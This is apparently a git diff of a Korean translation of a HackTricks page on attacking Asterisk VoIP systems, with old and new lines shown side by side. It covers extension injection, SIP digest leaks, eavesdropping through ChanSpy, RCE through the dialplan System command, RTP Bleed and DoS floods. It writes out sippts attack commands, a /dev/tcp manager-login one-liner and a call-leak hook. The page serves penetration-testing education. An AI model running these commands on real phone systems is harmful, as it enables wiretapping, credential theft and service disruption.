Asterisk VoIP 시스템에서는 다이얼 플랜(**`extensions.conf`** 파일) 및 `Background()`, `Playback()`, `Read()` 등과 같은 다양한 응용 프로그램을 사용하여 IVR을 생성할 수 있습니다. 이러한 응용 프로그램은 음성 프롬프트를 재생하고 사용자 입력을 캡처하며 통화 흐름을 제어하는 데 도움이 됩니다.
|
||||
Asterisk VoIP 시스템에서는 **`extensions.conf`** 파일과 `Background()`, `Playback()`, `Read()` 등과 같은 다양한 응용 프로그램을 사용하여 다이얼 플랜을 사용하여 IVR을 생성할 수 있습니다. 이러한 응용 프로그램은 음성 프롬프트를 재생하고 사용자 입력을 캡처하며 통화 흐름을 제어하는 데 도움이 됩니다.
|
||||
|
||||
#### 취약한 구성 예시
|
||||
```scss
|
||||
|
@ -419,8 +422,8 @@ exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
|
|||
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
|
||||
exten => 0,104,Dial(LOCAL/${numbers})
|
||||
```
|
||||
이전에 사용자가 **1을 눌러** 부서에 전화를 걸라고 요청받거나, **2를 눌러** 다른 부서에 전화를 걸라고 요청받거나, 알고 있다면 **전체 내선 번호**를 입력하라고 요청받습니다.\
|
||||
취약점은 지정된 **내선 번호 길이가 확인되지 않아 사용자가 5초의 시간 제한 내에 전체 번호를 입력하면 호출될 수 있다는 사실**입니다.
|
||||
이전에 사용자가 **1을 눌러** 부서에 전화를 걸라고 요청받거나, **2를 눌러** 다른 부서에 전화를 걸라고 요청받거나, 알고 있다면 **전화 내선 번호를 입력**하라는 예제입니다.\
|
||||
취약점은 지정된 **내선 번호 길이가 확인되지 않아 사용자가 5초 타임아웃 동안 전체 번호를 입력하면 호출될 수 있다는 것**입니다.
|
||||
|
||||
### 내선 번호 주입
|
||||
|
||||
|
@ -428,11 +431,11 @@ exten => 0,104,Dial(LOCAL/${numbers})
|
|||
```scss
|
||||
exten => _X.,1,Dial(SIP/${EXTEN})
|
||||
```
|
||||
**`${EXTEN}`**이 호출될 **내선번호**이며, **내선 101이 입력**되면 다음과 같은 일이 발생합니다:
|
||||
**`${EXTEN}`**이 호출될 **내선 번호**를 나타냅니다. **내선 101이 입력**되면 다음과 같은 일이 발생합니다:
|
||||
```scss
|
||||
exten => 101,1,Dial(SIP/101)
|
||||
```
|
||||
그러나 **`${EXTEN}`**이 숫자 이상을 입력할 수 있도록 허용된다면 (이전 Asterisk 버전과 같이), 공격자는 **`101&SIP123123123`**을 입력하여 전화번호 123123123으로 전화를 걸 수 있습니다. 그 결과는 다음과 같을 것입니다:
|
||||
그러나 **`${EXTEN}`**이 숫자 이상을 입력할 수 있도록 허용한다면 (이전 Asterisk 버전과 같이), 공격자는 **`101&SIP123123123`**을 입력하여 전화번호 123123123로 전화를 걸 수 있습니다. 그 결과는 다음과 같을 것입니다:
|
||||
```scss
|
||||
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
||||
```
|
||||
|
@ -440,19 +443,19 @@ exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
|||
|
||||
## SIPDigestLeak 취약점
|
||||
|
||||
SIP Digest Leak는 하드웨어 및 소프트웨어 IP 전화기뿐만 아니라 전화기 어댑터(VoIP에서 아날로그로)를 포함한 다수의 SIP 전화기에 영향을 미치는 취약점입니다. 이 취약점은 **Digest 인증 응답이 누출**되는 것을 허용하며, 이는 비밀번호에서 계산됩니다. **오프라인 비밀번호 공격이 가능**하며, 도전 응답을 기반으로 대부분의 비밀번호를 복구할 수 있습니다.
|
||||
SIP Digest Leak는 하드웨어 및 소프트웨어 IP 전화기뿐만 아니라 전화기 어댑터(VoIP to analogue)를 포함한 다수의 SIP 전화기에 영향을 미치는 취약점입니다. 이 취약점은 **Digest 인증 응답 누출**을 허용하며, 이는 비밀번호에서 계산됩니다. **오프라인 비밀번호 공격이 가능**하며, 도전 응답을 기반으로 대부분의 비밀번호를 복구할 수 있습니다.
|
||||
|
||||
**[여기서 취약점 시나리오**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
||||
|
||||
1. IP 전화기(피해자)가 어떤 포트(예: 5060)에서 수신 대기 중이며 전화를 받음
|
||||
2. 공격자가 IP 전화기로 INVITE를 보냄
|
||||
2. 공격자가 IP 전화기로 INVITE를 전송
|
||||
3. 피해자 전화기가 울리기 시작하고 누군가 전화를 받아서 끊음(상대편에서 전화를 받지 않아서)
|
||||
4. 전화가 끊기면 **피해자 전화기가 공격자에게 BYE를 보냄**
|
||||
4. 전화가 끊기면 **피해자 전화기가 공격자에게 BYE를 전송**
|
||||
5. **공격자가 407 응답을 발행**하고 **인증을 요청**하며 인증 도전을 발행
|
||||
6. **피해자 전화기가 두 번째 BYE에서 인증 도전에 대한 응답**을 제공
|
||||
7. **공격자는 도전 응답에 대해 로컬 머신(또는 분산 네트워크 등)에서 브루트 포스 공격**을 실행하고 비밀번호를 추측할 수 있습니다
|
||||
7. **공격자는 도전 응답에 대한 브루트 포스 공격**을 자신의 로컬 머신(또는 분산 네트워크 등)에서 실행하여 비밀번호를 추측할 수 있습니다
|
||||
|
||||
* [**sippts**](https://github.com/Pepelux/sippts)**의 SIPPTS leak**:** SIPPTS leak는 다수의 SIP 전화기에 영향을 미치는 SIP Digest Leak 취약점을 악용합니다. 출력은 SipCrack 형식으로 저장되어 SIPPTS dcrack 또는 SipCrack 도구를 사용하여 브루트포스 공격할 수 있습니다.
|
||||
* [**sippts**](https://github.com/Pepelux/sippts)**의 SIPPTS leak**:** SIPPTS leak는 다수의 SIP 전화기에 영향을 미치는 SIP Digest Leak 취약점을 악용합니다. 결과물은 SipCrack 형식으로 저장되어 SIPPTS dcrack 또는 SipCrack 도구를 사용하여 브루트포스 공격할 수 있습니다.
|
||||
```bash
|
||||
sippts leak -i 10.10.0.10
|
||||
|
||||
|
@ -475,9 +478,9 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
|
|||
```
|
||||
### 클릭투콜
|
||||
|
||||
클릭투콜은 **웹 사용자**가 (예를 들어 제품에 관심이 있는 경우) **전화번호를 제공**하여 전화를 받을 수 있는 기능을 제공합니다. 그런 다음 광고 전화가 걸리고, 사용자가 **전화를 받으면 에이전트와 연결**됩니다.
|
||||
클릭투콜은 **웹 사용자**가 (예를 들어 제품에 관심이 있는 사용자) **전화번호를 제공**하여 전화를 받을 수 있는 기능을 제공합니다. 그런 다음 광고 전화가 걸리고 사용자가 **전화를 받으면 에이전트와 연결된 전화**가 사용자에게 걸립니다.
|
||||
|
||||
이를 위한 일반적인 Asterisk 프로필은 다음과 같습니다:
|
||||
이 기능에 대한 일반적인 Asterisk 프로필은 다음과 같습니다:
|
||||
```scss
|
||||
[web_user]
|
||||
secret = complex_password
|
||||
|
@ -488,9 +491,9 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
|
|||
write = system,call,agent,user,config,command,reporting,originate
|
||||
```
|
||||
* 이전 프로필은 **알려진 비밀번호로 연결하려는 모든 IP 주소를 허용**합니다.
|
||||
* 이전에 명시된대로 **통화를 조직**하기 위해서는 **읽기 권한이 필요하지 않으며** **쓰기**에서 **원천**만 필요합니다.
|
||||
* 이전에 명시된대로 **통화를 조직**하려면 **읽기 권한이 필요하지 않으며** **쓰기**에서 **원천**만 필요합니다.
|
||||
|
||||
이러한 권한으로 인해 알려진 비밀번호를 알고 있는 모든 IP가 연결하고 너무 많은 정보를 추출할 수 있습니다.
|
||||
이러한 권한으로 인해 알려진 비밀번호를 아는 모든 IP가 연결하고 너무 많은 정보를 추출할 수 있습니다.
|
||||
```bash
|
||||
# Get all the peers
|
||||
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
|
||||
|
@ -501,13 +504,13 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
|
|||
|
||||
### **도청**
|
||||
|
||||
Asterisk에서는 **`ChanSpy`** 명령을 사용하여 발생하는 대화를 듣기 위해 **모니터링할 내선 번호** (또는 모든 내선 번호)를 지정할 수 있습니다. 이 명령은 내선 번호에 할당되어야 합니다.
|
||||
Asterisk에서는 **`ChanSpy`** 명령을 사용하여 **모니터링할 내선(s)**을 지정하여 대화를 듣는 것이 가능합니다. 이 명령은 내선에 할당되어야 합니다.
|
||||
|
||||
예를 들어, **`exten => 333,1,ChanSpy('all',qb)`**는 내선 번호 **333**을 **호출**하면, **`all`** 내선 번호를 **모니터링**하고, 새 대화가 시작될 때마다 (**`b`**) 조용한 모드 (**`q`**)로 듣기를 시작합니다. 대화에서 다른 대화로 이동하려면 **`*`**를 누르거나 내선 번호를 표시할 수 있습니다.
|
||||
예를 들어, **`exten => 333,1,ChanSpy('all',qb)`**는 만약 **내선 333**을 **호출**하면, **`all`** 내선을 **모니터링**하고, 새 대화가 시작될 때마다 (**`b`**) 조용한 모드 (**`q`**)로 듣기를 시작합니다. 대화에서 다른 대화로 이동하려면 **`*`**를 누르거나 내선 번호를 표시할 수 있습니다.
|
||||
|
||||
또한 **`ExtenSpy`**를 사용하여 한 내선 번호만 모니터링할 수도 있습니다.
|
||||
또한 **`ExtenSpy`**를 사용하여 한 내선만 모니터링할 수도 있습니다.
|
||||
|
||||
대화를 듣는 대신, 파일에 **녹음**할 수도 있습니다. 다음과 같은 내선 번호를 사용하여 녹음할 수 있습니다:
|
||||
대화를 듣는 대신, 파일에 **녹음**할 수도 있습니다. 다음과 같은 내선을 사용하여:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```scss
|
||||
|
@ -519,19 +522,19 @@ exten => _X.,2,MixMonitor(${NAME})
|
|||
|
||||
통화는 **`/tmp`**에 저장됩니다.
|
||||
|
||||
당신은 Asterisk가 닫힐 때 **통화를 노출시킬 스크립트를 실행**하도록 할 수도 있습니다.
|
||||
Asterisk가 종료될 때 호출을 유출하는 스크립트를 실행할 수도 있습니다.
|
||||
```scss
|
||||
exten => h,1,System(/tmp/leak_conv.sh &)
|
||||
```
|
||||
### RTCPBleed 취약점
|
||||
|
||||
**RTCPBleed**은 2017년 발표된 Asterisk 기반 VoIP 서버를 영향을 주는 주요 보안 문제입니다. 이 취약점은 **VoIP 대화를 운반하는 RTP (실시간 프로토콜) 트래픽**이 **인터넷 상의 누구에 의해 가로채고 재지정**될 수 있게 합니다. 이는 RTP 트래픽이 NAT (네트워크 주소 변환) 방화벽을 통과할 때 인증을 우회하기 때문에 발생합니다.
|
||||
**RTCPBleed**은 2017년 발표된 Asterisk 기반 VoIP 서버를 영향을 주는 주요 보안 문제입니다. 이 취약점은 **VoIP 대화를 운반하는 RTP (실시간 프로토콜) 트래픽**이 **인터넷 상의 누구에 의해 가로채고 재지정될 수 있게 합니다**. 이는 RTP 트래픽이 NAT (네트워크 주소 변환) 방화벽을 통과할 때 인증을 우회하기 때문에 발생합니다.
|
||||
|
||||
RTP 프록시는 두 명 이상의 당사자 간의 RTP 스트림을 프록시하는 것으로 RTC 시스템에 영향을 주는 **NAT 제한**을 해결하려고 합니다. NAT가 있는 경우 RTP 프록시 소프트웨어는 종종 시그널링 (예: SIP)을 통해 검색된 RTP IP 및 포트 정보에 의존할 수 없습니다. 따라서 여러 RTP 프록시는 이러한 **IP 및 포트 튜플이 자동으로 학습되는 메커니즘을 구현**했습니다. 이는 종종 들어오는 RTP 트래픽을 검사하고 들어오는 RTP 트래픽의 소스 IP 및 포트를 응답해야 하는 것으로 표시하는 방식으로 수행됩니다. 이 메커니즘은 "학습 모드"라고 불릴 수 있으며 **어떠한 형태의 인증도 사용하지 않습니다**. 따라서 **공격자**는 **RTP 프록시로 RTP 트래픽을 보낼 수 있으며** RTP 스트림의 호출자 또는 통화 상대에게 전달되어야 하는 프록시 RTP 트래픽을 받을 수 있습니다. 우리는 이 취약점을 RTP Bleed라고 부르며, 이는 공격자가 합법적 사용자에게 전송되어야 하는 RTP 미디어 스트림을 받을 수 있게 합니다.
|
||||
RTP 프록시는 두 명 이상의 당사자 간의 RTP 스트림을 프록시하는 것으로 RTC 시스템에 영향을 주는 NAT 제한을 해결하려고 합니다. NAT가 적용된 경우 RTP 프록시 소프트웨어는 종종 시그널링 (예: SIP)을 통해 검색된 RTP IP 및 포트 정보에 의존할 수 없습니다. 따라서 여러 RTP 프록시는 이러한 **IP 및 포트 튜플이 자동으로 학습되는 메커니즘을 구현**했습니다. 이는 종종 들어오는 RTP 트래픽을 검사하고 들어오는 RTP 트래픽의 소스 IP 및 포트를 응답해야 하는 것으로 표시하는 방식으로 수행됩니다. 이 메커니즘은 "학습 모드"라고 불릴 수 있으며 **어떠한 형태의 인증도 사용하지 않습니다**. 따라서 **공격자**는 **RTP 프록시로 RTP 트래픽을 보낼 수 있으며** RTP 스트림의 호출자 또는 피호출자를 위해 의도된 프록시 RTP 트래픽을 수신할 수 있습니다. 우리는 이 취약점을 RTP Bleed라고 부르며, 이는 공격자가 합법적인 사용자에게 전송되어야 하는 RTP 미디어 스트림을 수신할 수 있게 합니다.
|
||||
|
||||
또 다른 흥미로운 RTP 프록시 및 RTP 스택의 동작은 때로는 **RTP Bleed에 취약하지 않더라도** **어떠한 소스에서도 RTP 패킷을 수락, 전달 및/또는 처리**할 수 있다는 것입니다. 따라서 공격자는 합법적인 것 대신에 자신의 미디어를 주입할 수 있는 RTP 패킷을 보낼 수 있습니다. 우리는 이 공격을 RTP 주입이라고 부르며, 이는 존재하는 RTP 스트림에 부정한 RTP 패킷을 주입할 수 있게 합니다. 이 취약점은 RTP 프록시 및 엔드포인트에서 발견될 수 있습니다.
|
||||
또 다른 흥미로운 RTP 프록시 및 RTP 스택의 동작은 때로는 **RTP Bleed에 취약하지 않더라도** **어떠한 소스에서도 RTP 패킷을 수락, 전달 및/또는 처리**할 수 있습니다. 따라서 공격자는 합법적인 것 대신 자신의 미디어를 삽입할 수 있는 RTP 패킷을 보낼 수 있습니다. 우리는 이 공격을 RTP 삽입이라고 부르며, 이는 존재하는 RTP 스트림에 부정한 RTP 패킷을 삽입할 수 있게 합니다. 이 취약점은 RTP 프록시 및 엔드포인트에서 발견될 수 있습니다.
|
||||
|
||||
Asterisk와 FreePBX는 전통적으로 **`NAT=yes` 설정**을 사용해왔는데, 이는 RTP 트래픽이 인증을 우회하도록 하여 통화 시 오디오가 없거나 일방적인 오디오로 이어질 수 있습니다.
|
||||
Asterisk와 FreePBX는 전통적으로 **`NAT=yes` 설정**을 사용했으며, 이는 RTP 트래픽이 인증을 우회하도록 허용하여 통화 시 오디오가 없거나 일방적인 오디오로 이어질 수 있습니다.
|
||||
|
||||
자세한 정보는 [https://www.rtpbleed.com/](https://www.rtpbleed.com/)에서 확인하세요.
|
||||
|
||||
|
@ -543,24 +546,24 @@ sippts rtpbleed -i 10.10.0.10
|
|||
```bash
|
||||
sippts rtcpbleed -i 10.10.0.10
|
||||
```
|
||||
* **`SIPPTS rtpbleedflood`**은 [**sippts**](https://github.com/Pepelux/sippts)**에서:** SIPPTS rtpbleedflood는 RTP 스트림을 보내는 RTP Bleed 취약점을 악용합니다.
|
||||
* **`SIPPTS rtpbleedflood`**은 [**sippts**](https://github.com/Pepelux/sippts)**에서:** SIPPTS rtpbleedflood는 RTP 스트림을 전송하여 RTP Bleed 취약점을 악용합니다.
|
||||
```bash
|
||||
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
|
||||
```
|
||||
* **`SIPPTS rtpbleedinject`**은 [**sippts**](https://github.com/Pepelux/sippts)**에서 온 것:** SIPPTS rtpbleedinject는 RTP Bleed 취약점을 이용하여 오디오 파일 (WAV 형식)을 주입합니다.
|
||||
* **`SIPPTS rtpbleedinject`**은 [**sippts**](https://github.com/Pepelux/sippts)**에서:** SIPPTS rtpbleedinject는 RTP Bleed 취약점을 이용하여 오디오 파일 (WAV 형식)을 삽입합니다.
|
||||
```bash
|
||||
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
|
||||
```
|
||||
### RCE
|
||||
|
||||
Asterisk에서 어떻게 extension 규칙을 추가하고 다시로드(reload)할 수 있는 방법을 찾는다면(예: 취약한 웹 매니저 서버를 침투함), **`System`** 명령을 사용하여 RCE를 얻을 수 있습니다.
|
||||
Asterisk에서 어떻게든 **extension 규칙을 추가하고 다시로드**할 수 있다면(예: 취약한 웹 매니저 서버를 침투함으로써), **`System`** 명령을 사용하여 RCE를 얻을 수 있습니다.
|
||||
```scss
|
||||
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
||||
```
|
||||
**`Shell`**이라는 명령어는 필요에 따라 시스템 명령을 실행하는 데 사용될 수 있는 **`System`** 대신 사용될 수 있습니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
서버가 **`System`** 명령어에서 특정 문자의 사용을 금지하고 있는 경우 (예: Elastix), 웹 서버가 시스템 내에서 **파일을 어떤 방식으로든 생성할 수 있는지** 확인하고 (예: Elastix 또는 trixbox), 이를 사용하여 **백도어 스크립트를 생성**한 다음 **`System`**을 사용하여 해당 **스크립트를 실행**할 수 있습니다.
|
||||
서버가 **`System`** 명령어에서 특정 문자의 사용을 금지하고 있는 경우 (예: Elastix), 웹 서버가 시스템 내에서 **파일을 어떤 방식으로든 생성하는 것을 허용하는지** 확인하고 (예: Elastix 또는 trixbox), 이를 사용하여 **백도어 스크립트를 생성**한 다음 **`System`**을 사용하여 해당 **스크립트를 실행**할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
#### 흥미로운 로컬 파일 및 권한
|
||||
|
@ -570,37 +573,37 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
|||
* **mysql root 사용자**는 **비밀번호가 없을 수 있습니다**.
|
||||
* 이를 사용하여 백도어로 새로운 mysql 사용자를 생성할 수 있습니다.
|
||||
* **`FreePBX`**
|
||||
* **`amportal.conf`** -> 웹 패널 관리자 (FreePBX)의 비밀번호를 포함합니다.
|
||||
* **`amportal.conf`** -> 웹 패널 관리자의 비밀번호를 포함합니다 (FreePBX).
|
||||
* **`FreePBX.conf`** -> 데이터베이스에 액세스하는 데 사용되는 FreePBXuser 사용자의 비밀번호를 포함합니다.
|
||||
* 이를 사용하여 백도어로 새로운 mysql 사용자를 생성할 수 있습니다.
|
||||
* **`Elastix`**
|
||||
* **`Elastix.conf`** -> mysql root 패스워드, IMAPd 패스워드, 웹 관리자 패스워드 등을 평문으로 포함합니다.
|
||||
* **여러 폴더**가 침해된 asterisk 사용자에 속할 것입니다 (root로 실행 중이 아닌 경우). 이 사용자는 이전 파일을 읽을 수 있고 구성을 제어하기 때문에 Asterisk가 다른 백도어 바이너리를 실행할 때 로드하도록 만들 수 있습니다.
|
||||
* **여러 폴더**가 침해된 asterisk 사용자에 속할 것입니다 (root로 실행 중이 아닌 경우). 이 사용자는 이전 파일을 읽을 수 있고 구성을 제어할 수 있으므로 Asterisk가 실행될 때 다른 백도어 바이너리를 로드하도록 할 수 있습니다.
|
||||
|
||||
### RTP 삽입
|
||||
|
||||
**`.wav`**를 삽입하는 것이 가능합니다. **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) 및 **`rtpmixsound`** (`sudo apt install rtpmixsound`)와 같은 도구를 사용하여 이를 수행할 수 있습니다.
|
||||
**`rtpinsertsound`** (`sudo apt install rtpinsertsound`) 및 **`rtpmixsound`** (`sudo apt install rtpmixsound`)와 같은 도구를 사용하여 대화에 **`.wav`**를 삽입할 수 있습니다.
|
||||
|
||||
또는 [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/)의 스크립트를 사용하여 대화를 **스캔**하는 (**`rtpscan.pl`**), 대화에 `.wav`를 보내는 (**`rtpsend.pl`**), 대화에 **소음을 삽입**하는 (**`rtpflood.pl`**) 등의 작업을 수행할 수 있습니다.
|
||||
또는 [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/)의 스크립트를 사용하여 대화를 **스캔**하는 (**`rtpscan.pl`**), 대화에 `.wav`를 보내는 (**`rtpsend.pl`**) 및 대화에 **소음을 삽입**하는 (**`rtpflood.pl`**) 방법이 있습니다.
|
||||
|
||||
### DoS
|
||||
|
||||
VoIP 서버에서 DoS를 시도하는 여러 방법이 있습니다.
|
||||
|
||||
* [**sippts**](https://github.com/Pepelux/sippts)에서 **`SIPPTS flood`**를 사용합니다. **: SIPPTS flood는 대상에 무제한 메시지를 보냅니다.**
|
||||
* [**sippts**](https://github.com/Pepelux/sippts)의 **`SIPPTS flood`**: SIPPTS flood는 대상에 무제한 메시지를 보냅니다.
|
||||
* `sippts flood -i 10.10.0.10 -m invite -v`
|
||||
* [**sippts**](https://github.com/Pepelux/sippts)에서 **`SIPPTS ping`**를 사용합니다. **: SIPPTS ping는 서버 응답 시간을 확인하기 위해 SIP 핑을 보냅니다.**
|
||||
* [**sippts**](https://github.com/Pepelux/sippts)의 **`SIPPTS ping`**: SIPPTS ping은 서버 응답 시간을 확인하기 위해 SIP 핑을 보냅니다.
|
||||
* `sippts ping -i 10.10.0.10`
|
||||
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): Asterisk에서 사용되는 IAX 프로토콜에 대한 DoS
|
||||
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): UDP/IP를 통해 SIP/SDP INVITE 메시지를 폭주시키는 도구
|
||||
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): 여러 개의 올바르게 형식화된 RTP 패킷을 보냅니다. 사용 중인 RTP 포트를 알아야 합니다 (먼저 스니핑).
|
||||
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): 여러 개의 올바르게 형성된 RTP 패킷을 보냅니다. 사용 중인 RTP 포트를 알아야 합니다 (먼저 스니핑).
|
||||
* [**SIPp**](https://github.com/SIPp/sipp): SIP 트래픽을 분석하고 생성할 수 있습니다. 따라서 DoS에도 사용할 수 있습니다.
|
||||
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP 스위스 아미 나이프. SIP 공격을 수행하는 데 사용할 수도 있습니다.
|
||||
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP 스위스 아미 나이프. SIP 공격을 수행하는 데도 사용할 수 있습니다.
|
||||
* Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
|
||||
|
||||
### OS 취약점
|
||||
|
||||
Asterisk와 같은 소프트웨어를 설치하는 가장 쉬운 방법은 이미 설치된 **OS 배포판**을 다운로드하는 것입니다. 예: **FreePBX, Elastix, Trixbox**... 그러나 이러한 소프트웨어는 한 번 작동하면 시스템 관리자가 다시 **업데이트하지 않을 수 있으며** 시간이 지남에 따라 **취약점**이 발견될 수 있습니다.
|
||||
Asterisk와 같은 소프트웨어를 설치하는 가장 쉬운 방법은 이미 설치된 **OS 배포판**을 다운로드하는 것입니다. 예: **FreePBX, Elastix, Trixbox**... 그러나 이러한 소프트웨어가 작동하면 시스템 관리자가 다시 **업데이트하지 않을 수 있으며** 시간이 지남에 따라 **취약점**이 발견될 수 있습니다.
|
||||
|
||||
## 참고 자료
|
||||
|
||||
|
@ -617,10 +620,10 @@ Asterisk와 같은 소프트웨어를 설치하는 가장 쉬운 방법은 이
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고하거나** **PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 팔로우하세요.
|
||||
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue